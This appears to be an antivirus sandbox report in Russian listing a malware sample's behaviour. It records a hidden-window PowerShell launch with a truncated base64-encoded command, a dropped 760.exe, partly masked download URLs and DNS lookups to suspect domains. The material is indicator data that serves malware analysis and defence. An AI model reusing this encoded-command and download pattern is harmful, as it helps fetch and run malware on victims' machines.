Техническая информация
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABMAGkAegBqAHkAdAB1AGsAaABuAGoAYgA9ACcAVgByAHYAYwBoAHQAYQB0AHgAZABrACcAOwAkAE8AdQBxAHAAawBuAGUAcAB5AGYAeAAgAD0AIAAnADcANgAwACcAOwAkAFIAcQBwAGkAdgB2AGUAYQBlAGEAdQA9ACcARgBnAGcAaABvAGUAYQB...
- %HOMEPATH%\760.exe
- %HOMEPATH%\760.exe
- http://rm###mbat.co.uk/wp-admin/7jj/
- http://to###infx.com/svq/ln/
- DNS ASK rm###mbat.co.uk
- DNS ASK to###infx.com
- DNS ASK bo###shorts.com
- DNS ASK st###.aca-apac.com
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABMAGkAegBqAHkAdAB1AGsAaABuAGoAYgA9ACcAVgByAHYAYwBoAHQAYQB0AHgAZABrACcAOwAkAE8AdQBxAHAAawBuAGUAcAB5AGYAeAAgAD0AIAAnADcANgAwACcAOwAkAFIAcQBwAGkAdgB2AGUAYQBlAGEAdQA9ACcARgBnAGcAaABvAGUAYQB...' (со скрытым окном)